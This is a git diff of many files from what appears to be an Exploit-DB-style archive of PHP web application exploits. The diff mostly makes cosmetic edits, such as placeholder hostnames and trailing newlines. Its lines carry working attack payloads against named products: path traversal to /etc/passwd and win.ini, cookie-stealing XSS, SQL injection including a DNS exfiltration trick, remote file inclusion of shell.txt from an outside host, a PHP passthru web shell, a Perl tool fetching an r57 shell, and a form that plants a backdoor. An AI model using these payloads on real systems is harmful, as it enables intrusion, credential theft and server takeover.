+http://www.example.com/sflog/index.php?blog=admin&section=../../../../../../../etc/&permalink=passwd \ No newline at end of file diff --git a/platforms/php/webapps/37489.txt b/platforms/php/webapps/37489.txt index 180ca8b9d..b7ac074c5 100755 --- a/platforms/php/webapps/37489.txt +++ b/platforms/php/webapps/37489.txt @@ -10,4 +10,4 @@ http://www.example.com/mgb/admin/admin.php?action=delete&id=[SQLi]&p=1 http://www.example.com/mgb/index.php?p=1â??"</script><script>alert(document.cookie)</script> [XSS] -http://www.example.com/mgb/newentry.php [XSS] \ No newline at end of file +http://www.example.com/mgb/newentry.php [XSS] \ No newline at end of file diff --git a/platforms/php/webapps/37494.txt b/platforms/php/webapps/37494.txt index ba4674e40..88c99067b 100755 --- a/platforms/php/webapps/37494.txt +++ b/platforms/php/webapps/37494.txt @@ -33,7 +33,7 @@ system(($^O eq 'MSWin32') ? 'cls' : 'clear'); if(@ARGV < 2) { -die("\n\n[+] usage : perl $0 server /path/"); +die("\n\n[+] usage : perl $0 site.com /path/"); } print q{ diff --git a/platforms/php/webapps/37499.txt b/platforms/php/webapps/37499.txt index 6f09bed08..f9856ef9d 100755 --- a/platforms/php/webapps/37499.txt +++ b/platforms/php/webapps/37499.txt @@ -17,4 +17,4 @@ http://www.example.com/?s=home&m=home&sudo=%22%3E%3Cimg%20src=http://www.vuln-la http://www.example.com/?s=provphones&m=phones&sudo=su&mac=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL %22%29%20%3C&ip=127.0.0.1&pbx_id=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C&phone_type=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C [XSS] -http://www.example.com/&mac=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C&sudo=su§ion=%2Fprov%2Fcisco [XSS] \ No newline at end of file +http://www.example.com/&mac=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C&sudo=su§ion=%2Fprov%2Fcisco [XSS] \ No newline at end of file diff --git a/platforms/php/webapps/37502.txt b/platforms/php/webapps/37502.txt index 56f25d3c9..b14a65285 100755 --- a/platforms/php/webapps/37502.txt +++ b/platforms/php/webapps/37502.txt @@ -8,4 +8,4 @@ Elite Bulletin Board 2.1.19 is vulnerable; other versions may also be affected http://www.example.com/ebbv2/groups.php?id=%5c&mode=view http://www.example.com/ebbv2/rssfeed.php?bid=%5c -http://www.example.com/ebbv2/viewboard.php?bid=%5c \ No newline at end of file +http://www.example.com/ebbv2/viewboard.php?bid=%5c \ No newline at end of file diff --git a/platforms/php/webapps/37503.txt b/platforms/php/webapps/37503.txt index cc4c76836..534c6d624 100755 --- a/platforms/php/webapps/37503.txt +++ b/platforms/php/webapps/37503.txt @@ -26,4 +26,4 @@ http://www.example.com/eventcalendar/preview.php?cal_id=2&cal_month=%22%3E%3Cifr http://www.example.com/eventcalendar/preview.php?cal_id=2&cal_month=1&cal_year=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C#oncal -http://www.example.com/eventcalendar/admin.php?act=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C \ No newline at end of file +http://www.example.com/eventcalendar/admin.php?act=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C \ No newline at end of file diff --git a/platforms/php/webapps/37507.txt b/platforms/php/webapps/37507.txt index 73ea94aed..d52d15999 100755 --- a/platforms/php/webapps/37507.txt +++ b/platforms/php/webapps/37507.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow web@all 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/webatall-2.0/my/kindeditor/?name=%3Cscript%3Ealert%28123%29%3C/script%3E \ No newline at end of file +http://www.example.com/webatall-2.0/my/kindeditor/?name=%3Cscript%3Ealert%28123%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37508.txt b/platforms/php/webapps/37508.txt index 9125aea68..5c28e0f4b 100755 --- a/platforms/php/webapps/37508.txt +++ b/platforms/php/webapps/37508.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view local files in the context of Rama Zeiten CMS 0.99 is vulnerable; other versions may also be affected. -http://www.example.com/ramazeiten/download.php?file=../../../../../etc/passwd \ No newline at end of file +http://www.example.com/ramazeiten/download.php?file=../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/37509.txt b/platforms/php/webapps/37509.txt index 8cbc3894e..f3af8f2b0 100755 --- a/platforms/php/webapps/37509.txt +++ b/platforms/php/webapps/37509.txt @@ -14,4 +14,4 @@ http://www.example.com/embryocore1.03/libs/common/loadscript.php?j=../../../../. http://www.example.com/embryocore1.03/libs/common/loadcss.php?c=../../../../../../etc/passwd%00 -http://www.example.com/embryocore1.03/libs/common/loadcss.php?c=./configuration.php%00 \ No newline at end of file +http://www.example.com/embryocore1.03/libs/common/loadcss.php?c=./configuration.php%00 \ No newline at end of file diff --git a/platforms/php/webapps/37511.txt b/platforms/php/webapps/37511.txt index a86044e21..5be4937bd 100755 --- a/platforms/php/webapps/37511.txt +++ b/platforms/php/webapps/37511.txt @@ -8,4 +8,4 @@ AVA VoIP 1.5.12 is vulnerable; other versions may also be affected. http://www.example.com/agent_accounts_report.php?agent_id=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C http://www.example.com/tariff_add.php?tariff_id=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C -http://www.example.com/routeset_set.php?routeset_id=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C \ No newline at end of file +http://www.example.com/routeset_set.php?routeset_id=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C \ No newline at end of file diff --git a/platforms/php/webapps/37514.txt b/platforms/php/webapps/37514.txt index f693a863f..b501bfc20 100755 --- a/platforms/php/webapps/37514.txt +++ b/platforms/php/webapps/37514.txt @@ -16,4 +16,4 @@ Example: site/wp-content/uploads/uigen_2015/evil.php evil.php: <?php passthru($_GET['cmd']); ?> -TUNISIAN CYBER(miutex)-S4E \ No newline at end of file +TUNISIAN CYBER(miutex)-S4E \ No newline at end of file diff --git a/platforms/php/webapps/37519.txt b/platforms/php/webapps/37519.txt index 769060b53..d49944efb 100755 --- a/platforms/php/webapps/37519.txt +++ b/platforms/php/webapps/37519.txt @@ -4,4 +4,4 @@ The 'com_hello' component for Joomla! is prone to a local file-include vulnerabi An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/index.php?option=com_hello&controller=../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?option=com_hello&controller=../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/37520.txt b/platforms/php/webapps/37520.txt index 4d5e0a2c4..fb58c94e4 100755 --- a/platforms/php/webapps/37520.txt +++ b/platforms/php/webapps/37520.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities to execute arbitrary local files w Maian Survey 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/[PATH]/admin/index.php?cmd=LFÃ?°_here \ No newline at end of file +http://www.example.com/[PATH]/admin/index.php?cmd=LFÃ?°_here \ No newline at end of file diff --git a/platforms/php/webapps/37522.txt b/platforms/php/webapps/37522.txt index 3307c5751..33f616e84 100755 --- a/platforms/php/webapps/37522.txt +++ b/platforms/php/webapps/37522.txt @@ -4,4 +4,4 @@ The chenpress plugin for WordPress is prone to a vulnerability that lets attacke An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. - http://www.example.com/wp-content/plugins/chenpress/FCKeditor/editor/filemanager/browser/mcpuk/browser.html \ No newline at end of file + http://www.example.com/wp-content/plugins/chenpress/FCKeditor/editor/filemanager/browser/mcpuk/browser.html \ No newline at end of file diff --git a/platforms/php/webapps/37537.txt b/platforms/php/webapps/37537.txt index e7f532954..678745d3a 100755 --- a/platforms/php/webapps/37537.txt +++ b/platforms/php/webapps/37537.txt @@ -8,4 +8,4 @@ phpProfiles 4.5.4 Beta is vulnerable; other versions may also be affected. http://www.example.com/full_release/community.php?action=showtopic&comm_id=00001&topic_id=0000000009&topic_title=[XSS] http://www.example.com/full_release/community.php?comm_id=[SQL] -http://www.example.com/Full_Release/include/body_admin.inc.php?menu=http://www.example1.com/shell.txt? \ No newline at end of file +http://www.example.com/Full_Release/include/body_admin.inc.php?menu=http://www.example1.com/shell.txt? \ No newline at end of file diff --git a/platforms/php/webapps/37539.txt b/platforms/php/webapps/37539.txt index 3596ac1ba..3475a7926 100755 --- a/platforms/php/webapps/37539.txt +++ b/platforms/php/webapps/37539.txt @@ -8,4 +8,4 @@ REDAXO 4.4 is vulnerable; prior versions may also be affected. http://www.example.com/redaxo/index.php?page=user&subpage=%22%3 %3Cscript%3Ealert%28document.cookie%29;%3C/sc ript%3E -http://www.example.com/redaxo/index.php?page=template&subpage=%22%3E%3Cscript%3Ealert%28document.coo kie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/redaxo/index.php?page=template&subpage=%22%3E%3Cscript%3Ealert%28document.coo kie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37540.txt b/platforms/php/webapps/37540.txt index 9f7af4b10..7567a75df 100755 --- a/platforms/php/webapps/37540.txt +++ b/platforms/php/webapps/37540.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access Odudeprofile 2.7 and 2.8 are vulnerable; prior versions may also be affected. - http://www.example.com/index.php?option=com_odudeprofile&view=search&profession=(SQL) \ No newline at end of file + http://www.example.com/index.php?option=com_odudeprofile&view=search&profession=(SQL) \ No newline at end of file diff --git a/platforms/php/webapps/37541.txt b/platforms/php/webapps/37541.txt index d2edf0a99..632830fcc 100755 --- a/platforms/php/webapps/37541.txt +++ b/platforms/php/webapps/37541.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access tekno.Portal 0.1b is vulnerable; other versions may also be affected. - http://www.example.com/teknoportal/anket.php?id=[SQLi] \ No newline at end of file + http://www.example.com/teknoportal/anket.php?id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/37544.txt b/platforms/php/webapps/37544.txt index 9be91aebb..e9f99bc0e 100755 --- a/platforms/php/webapps/37544.txt +++ b/platforms/php/webapps/37544.txt @@ -6,4 +6,4 @@ A successful exploit may aid in phishing attacks; other attacks are possible. Versions prior to ocPortal 7.1.6 are vulnerable. -http://www.example.com/ocportal/index.php?page=login&type=misc&redirect=http://example1.com \ No newline at end of file +http://www.example.com/ocportal/index.php?page=login&type=misc&redirect=http://example1.com \ No newline at end of file diff --git a/platforms/php/webapps/37552.txt b/platforms/php/webapps/37552.txt index e7fc16259..012503b44 100755 --- a/platforms/php/webapps/37552.txt +++ b/platforms/php/webapps/37552.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Note: The vulnerability related to 'logo.link' parameter has been moved to BID 55199 for better documentation. -http://www.example.com/player.swf?playerready=alert(document.cookie) \ No newline at end of file +http://www.example.com/player.swf?playerready=alert(document.cookie) \ No newline at end of file diff --git a/platforms/php/webapps/37553.txt b/platforms/php/webapps/37553.txt index ae1dffb81..a685815c6 100755 --- a/platforms/php/webapps/37553.txt +++ b/platforms/php/webapps/37553.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access eNdonesia 8.5 is vulnerable; other versions may also be affected. -http://www.example.com/eNdonesia/mod.php?mod=diskusi&op=viewcat&cid=-[id][SQL INJECTION] \ No newline at end of file +http://www.example.com/eNdonesia/mod.php?mod=diskusi&op=viewcat&cid=-[id][SQL INJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/37554.txt b/platforms/php/webapps/37554.txt index 7209ee1dd..d89db205d 100755 --- a/platforms/php/webapps/37554.txt +++ b/platforms/php/webapps/37554.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access Limny 3.3.1 is vulnerable; other versions may also be affected. - http://www.example.com/limny-3.3.1/index.php?q=-1' or 57 = '55 [SQL \ No newline at end of file + http://www.example.com/limny-3.3.1/index.php?q=-1' or 57 = '55 [SQL \ No newline at end of file diff --git a/platforms/php/webapps/37556.txt b/platforms/php/webapps/37556.txt index 2d6cc6603..ff8bfd3cd 100755 --- a/platforms/php/webapps/37556.txt +++ b/platforms/php/webapps/37556.txt @@ -10,4 +10,4 @@ https://www.example.com/downloads/date/metric:1/country:29/application:%22%3E%3C https://www.example.com/downloads/date/metric:1/country:%22%3E%3Ciframe%20src=a%20onload=alert%28document.cookie%29%20%3C/application:99/appstore:1 https://www.example.com/downloads/map/metric:%3E%22%3Ciframe%20src=http://www.example1.com%3E+%3E%22%3Ciframe%20src=http://www.example1.com%3E https://www.example.com/revenue/date/application:99/country:%3E%22%3Ciframe%20src=http://www.example1.com%3E%3E%22%3Ciframe%20src=http://www.example1.com%3E -https://www.example.com/revenue/date/application:%3E%22%3Ciframe%20src=http://www.example1.com%3E%3E%22%3Ciframe%20src=http://www.example1.com/country:30 \ No newline at end of file +https://www.example.com/revenue/date/application:%3E%22%3Ciframe%20src=http://www.example1.com%3E%3E%22%3Ciframe%20src=http://www.example1.com/country:30 \ No newline at end of file diff --git a/platforms/php/webapps/37567.txt b/platforms/php/webapps/37567.txt index 4a51108c5..434981a38 100755 --- a/platforms/php/webapps/37567.txt +++ b/platforms/php/webapps/37567.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access tekno.Portal 0.1b is vulnerable; other versions may also be affected. - http://www.example.com/teknoportal/link.php?kat=[Blind SQL Injection] \ No newline at end of file + http://www.example.com/teknoportal/link.php?kat=[Blind SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/37572.txt b/platforms/php/webapps/37572.txt index ed195e8ae..080f6c891 100755 --- a/platforms/php/webapps/37572.txt +++ b/platforms/php/webapps/37572.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Elefant CMS 1.2.0 is vulnerable; other versions may also be affected. - http://www.example.com/admin/versions?id=[XSS]&type=Webpage \ No newline at end of file + http://www.example.com/admin/versions?id=[XSS]&type=Webpage \ No newline at end of file diff --git a/platforms/php/webapps/37581.txt b/platforms/php/webapps/37581.txt index cac67982b..91ad04514 100755 --- a/platforms/php/webapps/37581.txt +++ b/platforms/php/webapps/37581.txt @@ -6,4 +6,4 @@ Successfully exploiting these issues allows remote attackers to compromise the s Dir2web versions 3.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?wpid=homepage&oid=6a303a0aaa&apos; OR id > 0-- - \ No newline at end of file +http://www.example.com/index.php?wpid=homepage&oid=6a303a0aaa&apos; OR id > 0-- - \ No newline at end of file diff --git a/platforms/php/webapps/37583.txt b/platforms/php/webapps/37583.txt index 89903becb..bbafb1849 100755 --- a/platforms/php/webapps/37583.txt +++ b/platforms/php/webapps/37583.txt @@ -4,4 +4,4 @@ YT-Videos Script is prone to an SQL-injection vulnerability because it fails to A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/demo/ytvideos/play.php?id=2' \ No newline at end of file +http://www.example.com/demo/ytvideos/play.php?id=2' \ No newline at end of file diff --git a/platforms/php/webapps/37584.txt b/platforms/php/webapps/37584.txt index 41c43cad1..e134b0d81 100755 --- a/platforms/php/webapps/37584.txt +++ b/platforms/php/webapps/37584.txt @@ -7,4 +7,4 @@ A successful exploit could allow an attacker to compromise the application, acce Versions prior to TCExam 11.3.008 are vulnerable. http://www.example.com/admin/code/tce_edit_answer.php?subject_module_id -http://www.example.com/admin/code/tce_edit_answer.php?question_subject_id \ No newline at end of file +http://www.example.com/admin/code/tce_edit_answer.php?question_subject_id \ No newline at end of file diff --git a/platforms/php/webapps/37585.txt b/platforms/php/webapps/37585.txt index 658b32765..d45de4d80 100755 --- a/platforms/php/webapps/37585.txt +++ b/platforms/php/webapps/37585.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Versions prior to TCExam 11.3.008 are vulnerable. -http://www.example.com/admin/code/tce_edit_question.php?subject_module_id \ No newline at end of file +http://www.example.com/admin/code/tce_edit_question.php?subject_module_id \ No newline at end of file diff --git a/platforms/php/webapps/37587.txt b/platforms/php/webapps/37587.txt index 8fd330f13..55e83fca2 100755 --- a/platforms/php/webapps/37587.txt +++ b/platforms/php/webapps/37587.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor GetSimple 3.1.2 is vulnerable; other versions may also be affected. -http://www.example.com/cms/admin/filebrowser.php?path=[LFI] \ No newline at end of file +http://www.example.com/cms/admin/filebrowser.php?path=[LFI] \ No newline at end of file diff --git a/platforms/php/webapps/3759.pl b/platforms/php/webapps/3759.pl index 4b5c32db1..4978a46c1 100755 --- a/platforms/php/webapps/3759.pl +++ b/platforms/php/webapps/3759.pl @@ -41,7 +41,7 @@ $mw->Label(-text => '')->pack(); $fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ; $fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ; -$url = 'http://www.server/[ path ]/templates/be2004-2/index.php?mosConfig_absolute_path='; +$url = 'http://www.site.com/[ path ]/templates/be2004-2/index.php?mosConfig_absolute_path='; $shell_path = 'http://nachrichtenmann.de/r57.txt?'; $cmd = 'ls -la'; $mysite = 'www.Hack-Teach.com'; diff --git a/platforms/php/webapps/37590.txt b/platforms/php/webapps/37590.txt index e00fc898a..517253b4e 100755 --- a/platforms/php/webapps/37590.txt +++ b/platforms/php/webapps/37590.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PHPList 2.10.18 is vulnerable; other versions may also be affected. -http://www.example.com/admin/?page=user&find=1&unconfirmed=%22%3 %3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E \ No newline at end of file +http://www.example.com/admin/?page=user&find=1&unconfirmed=%22%3 %3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E \ No newline at end of file diff --git a/platforms/php/webapps/37613.txt b/platforms/php/webapps/37613.txt index 565d4840d..eff999d50 100755 --- a/platforms/php/webapps/37613.txt +++ b/platforms/php/webapps/37613.txt @@ -10,4 +10,4 @@ http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select ver http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))) -- -http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62) -- \ No newline at end of file +http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62) -- \ No newline at end of file diff --git a/platforms/php/webapps/37617.txt b/platforms/php/webapps/37617.txt index 6f54775eb..fd2a5fa79 100755 --- a/platforms/php/webapps/37617.txt +++ b/platforms/php/webapps/37617.txt @@ -5,4 +5,4 @@ dirLIST is prone to multiple local file-include vulnerabilities and an arbitrary An attacker can exploit these issues to upload arbitrary files onto the web server, execute arbitrary local files within the context of the web server, and obtain sensitive information. http://www.example.com/dirlist_0.3.0/dirLIST_files/gallery_files/show_scaled_image.php?image_path=../../../../../windows/win.ini -http://www.example.com/irlist_0.3.0/dirLIST_files/thumb_gen.php?image_path=../../../../../windows/win.ini \ No newline at end of file +http://www.example.com/irlist_0.3.0/dirLIST_files/thumb_gen.php?image_path=../../../../../windows/win.ini \ No newline at end of file diff --git a/platforms/php/webapps/3762.htm b/platforms/php/webapps/3762.htm index beeb9d0cc..baa3addde 100755 --- a/platforms/php/webapps/3762.htm +++ b/platforms/php/webapps/3762.htm @@ -21,14 +21,14 @@ <html><head><Title>---===AimStats v3.2===------===Dj7xpl===---</title></head> <body bgcolor="red"> <center> -<form name="AimStats" method="post" action="http://server/path to aimstats/process.php?update=yes"> +<form name="AimStats" method="post" action="http://site.com/path to aimstats/process.php?update=yes"> <input name="taglinelimit" value="777" type="hidden" > <input name="number" value="11; passthru($_GET[cmd]);//;" type="hidden" > <input type="submit" name="Submit" value="Submit" > </form><br><br> <font color="#C0FF3E" size="+1"> Please change Target And Run This Script</font><br> <font color="#C0FF3E" size="+1"> And See Backdoor into http://[Target]/[Path]/config.php?cmd=shell</font></br> -<font color="#C0FF3E" size="+1"> E.g : http://server/aimstats/config.php?cmd=ls -la</font> +<font color="#C0FF3E" size="+1"> E.g : http://site.com/aimstats/config.php?cmd=ls -la</font> </center> </body> </html> diff --git a/platforms/php/webapps/37620.txt b/platforms/php/webapps/37620.txt index d867cf88b..2a3cf356f 100755 --- a/platforms/php/webapps/37620.txt +++ b/platforms/php/webapps/37620.txt @@ -10,13 +10,13 @@ # Xploit (FPD): Get one target and just download with blank parameter: - http://www.server/components/com_docman/dl2.php?archive=0&file= + http://www.site.com/components/com_docman/dl2.php?archive=0&file= In title will occur Full Path Disclosure of server. # Xploit (LFD/LFI): - http://www.server/components/com_docman/dl2.php?archive=0&file=[LDF] + http://www.site.com/components/com_docman/dl2.php?archive=0&file=[LDF] Let's Xploit... @@ -24,7 +24,7 @@ ../../../../../../../target/www/configuration.php <= Not Ready - http://www.server/components/com_docman/dl2.php?archive=0&file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vdGFyZ2V0L3d3dy9jb25maWd1cmF0aW9uLnBocA== <= Ready ! + http://www.site.com/components/com_docman/dl2.php?archive=0&file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vdGFyZ2V0L3d3dy9jb25maWd1cmF0aW9uLnBocA== <= Ready ! And Now we have a configuration file... \ No newline at end of file diff --git a/platforms/php/webapps/37629.txt b/platforms/php/webapps/37629.txt index bcd60dc25..28cb33abe 100755 --- a/platforms/php/webapps/37629.txt +++ b/platforms/php/webapps/37629.txt @@ -59,3 +59,4 @@ Discovered by dxw: ================ Tom Adams Please visit security.dxw.com for more information. + \ No newline at end of file diff --git a/platforms/php/webapps/37630.txt b/platforms/php/webapps/37630.txt index cab080524..c96158dd1 100755 --- a/platforms/php/webapps/37630.txt +++ b/platforms/php/webapps/37630.txt @@ -8,4 +8,4 @@ Hotel Booking Portal 0.1 is vulnerable; other versions may also be affected. http://www.example.com/hbportal/includes/languagebar.php?xss=";</script><script>alert(1);</script><script> http://www.example.com/hbportal/administrator/login.php?xss=";</script><script>alert(1);</script><script> -http://www.example.com/hbportal/index.php?lang=";</script><script>alert(document.cookie);</script><script> \ No newline at end of file +http://www.example.com/hbportal/index.php?lang=";</script><script>alert(document.cookie);</script><script> \ No newline at end of file diff --git a/platforms/php/webapps/37633.txt b/platforms/php/webapps/37633.txt index 86f6890d5..dba488c28 100755 --- a/platforms/php/webapps/37633.txt +++ b/platforms/php/webapps/37633.txt @@ -4,4 +4,4 @@ mIRC is prone to a cross-site scripting vulnerability because it fails to proper An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/projects.php?go=maddons&offset=&order=id&sort=desc&mver=0&keywords=xss"><img src=x onerror=prompt(document.cookie);> \ No newline at end of file +http://www.example.com/projects.php?go=maddons&offset=&order=id&sort=desc&mver=0&keywords=xss"><img src=x onerror=prompt(document.cookie);> \ No newline at end of file diff --git a/platforms/php/webapps/37634.txt b/platforms/php/webapps/37634.txt index a323c652b..333245726 100755 --- a/platforms/php/webapps/37634.txt +++ b/platforms/php/webapps/37634.txt @@ -11,4 +11,4 @@ http://www.example.com/deki/web/deki/plugins/deki_plugin.php?IP=http://www.examp http://www.example.com/deki/web/deki/plugins/deki_plugin.php?wgDekiPluginPath=http://www.example.com/shell.txt? http://www.example.com/deki/web/deki/gui/link.php?IP=../../../../../../../../../windows/win.ini%00 http://www.example.com/deki/web/deki/plugins/deki_plugin.php?IP=../../../../../../../../../windows/win.ini%00 -http://www.example.com/deki/web/deki/plugins/deki_plugin.php?wgDekiPluginPath=../../../../../../../../../windows/win.ini%00 \ No newline at end of file +http://www.example.com/deki/web/deki/plugins/deki_plugin.php?wgDekiPluginPath=../../../../../../../../../windows/win.ini%00 \ No newline at end of file diff --git a/platforms/php/webapps/37635.txt b/platforms/php/webapps/37635.txt index 7dd49f9c0..c1e913250 100755 --- a/platforms/php/webapps/37635.txt +++ b/platforms/php/webapps/37635.txt @@ -10,4 +10,4 @@ http://www.example.com/MFH/download.php?file=../../../../../../../../../../windo For DaddyScripts Daddy's File Host: -http://www.example.com/dfh/download.php?file=../../../../../../../../../../windows/win.ini%00.jpg \ No newline at end of file +http://www.example.com/dfh/download.php?file=../../../../../../../../../../windows/win.ini%00.jpg \ No newline at end of file diff --git a/platforms/php/webapps/37636.txt b/platforms/php/webapps/37636.txt index 3f63f59f0..a8515341c 100755 --- a/platforms/php/webapps/37636.txt +++ b/platforms/php/webapps/37636.txt @@ -12,4 +12,4 @@ http://www.example.com/wp-admin/admin.php?page=emails&edit=%22%3E%3Ciframe+src%3 http://www.example.com/wp-admin/admin.php?page=members&edit&order=0%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com+width%3D800+height%3D800onload%3Dalert%28%22VLAB%22%29+%3C -http://www.example.com/wp-admin/admin.php?page=orders&id=5-261343282-1%27union select[SQL-INJECTION!]-- \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=orders&id=5-261343282-1%27union select[SQL-INJECTION!]-- \ No newline at end of file diff --git a/platforms/php/webapps/37641.txt b/platforms/php/webapps/37641.txt index 1c2365b31..969122994 100755 --- a/platforms/php/webapps/37641.txt +++ b/platforms/php/webapps/37641.txt @@ -4,4 +4,4 @@ JPM Article Blog Script 6 is prone to a cross-site scripting vulnerability becau An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/forum/index.php?tid=4â??></title><script>alert(Mr.0c3aN)</script>><marquee><h1>ocean</h1></marquee> \ No newline at end of file +http://www.example.com/forum/index.php?tid=4â??></title><script>alert(Mr.0c3aN)</script>><marquee><h1>ocean</h1></marquee> \ No newline at end of file diff --git a/platforms/php/webapps/37642.txt b/platforms/php/webapps/37642.txt index 651bda5a1..b4e0e0d95 100755 --- a/platforms/php/webapps/37642.txt +++ b/platforms/php/webapps/37642.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SaltOS 3.1 is vulnerable; other versions may also be affected. -http://www.example.com/SaltOS-3.1/user/lib/phpexcel/PHPExcel/Shared/JAMA/docs/download.php/ â??><script>alert(â??xssâ??)</script> \ No newline at end of file +http://www.example.com/SaltOS-3.1/user/lib/phpexcel/PHPExcel/Shared/JAMA/docs/download.php/ â??><script>alert(â??xssâ??)</script> \ No newline at end of file diff --git a/platforms/php/webapps/37643.txt b/platforms/php/webapps/37643.txt index 2d9a3b2f1..04eccb903 100755 --- a/platforms/php/webapps/37643.txt +++ b/platforms/php/webapps/37643.txt @@ -26,4 +26,4 @@ https://www.example.com/HelloVXMLError.jsp https://www.example.com/HelloVXML.jsp https://www.example.com/HelloWMLError.jsp https://www.example.com/HelloWML.jsp -https://www.example.com/cqweb/j_security_check \ No newline at end of file +https://www.example.com/cqweb/j_security_check \ No newline at end of file diff --git a/platforms/php/webapps/37646.txt b/platforms/php/webapps/37646.txt index 412f52cb2..bbf293361 100755 --- a/platforms/php/webapps/37646.txt +++ b/platforms/php/webapps/37646.txt @@ -8,4 +8,4 @@ Banana Dance B.2.1 is vulnerable; other versions may also be affected. http://www.example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000174)%3C/script%3E&category=3 http://www.example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00017B)%3C/script%3E&category=3 -http://www.example.com/search.php?q=234&category=-111%27)%20OR%20SLEEP(25)=0%20LIMIT%201--+ \ No newline at end of file +http://www.example.com/search.php?q=234&category=-111%27)%20OR%20SLEEP(25)=0%20LIMIT%201--+ \ No newline at end of file diff --git a/platforms/php/webapps/37648.txt b/platforms/php/webapps/37648.txt index ad8a7e2e0..7c019f09f 100755 --- a/platforms/php/webapps/37648.txt +++ b/platforms/php/webapps/37648.txt @@ -8,4 +8,4 @@ http://www.example.com/lynda/administrator/components/com_civicrm/civicrm/packag http://www.example.com/administrator/components/com_civicrm/civicrm/packages/fckeditor/editor/filemanager/connectors/test.html -http://www.example.com/mada/administrator/components/com_civicrm/civicrm/packages/fckeditor/editor/filemanager/connectors/test.html \ No newline at end of file +http://www.example.com/mada/administrator/components/com_civicrm/civicrm/packages/fckeditor/editor/filemanager/connectors/test.html \ No newline at end of file diff --git a/platforms/php/webapps/37649.html b/platforms/php/webapps/37649.html index 684e68e22..0fe5ab3e9 100755 --- a/platforms/php/webapps/37649.html +++ b/platforms/php/webapps/37649.html @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SiNG cms 2.9.0 is vulnerable; other versions may also be affected. -<html> <head> <title>SiNG cms 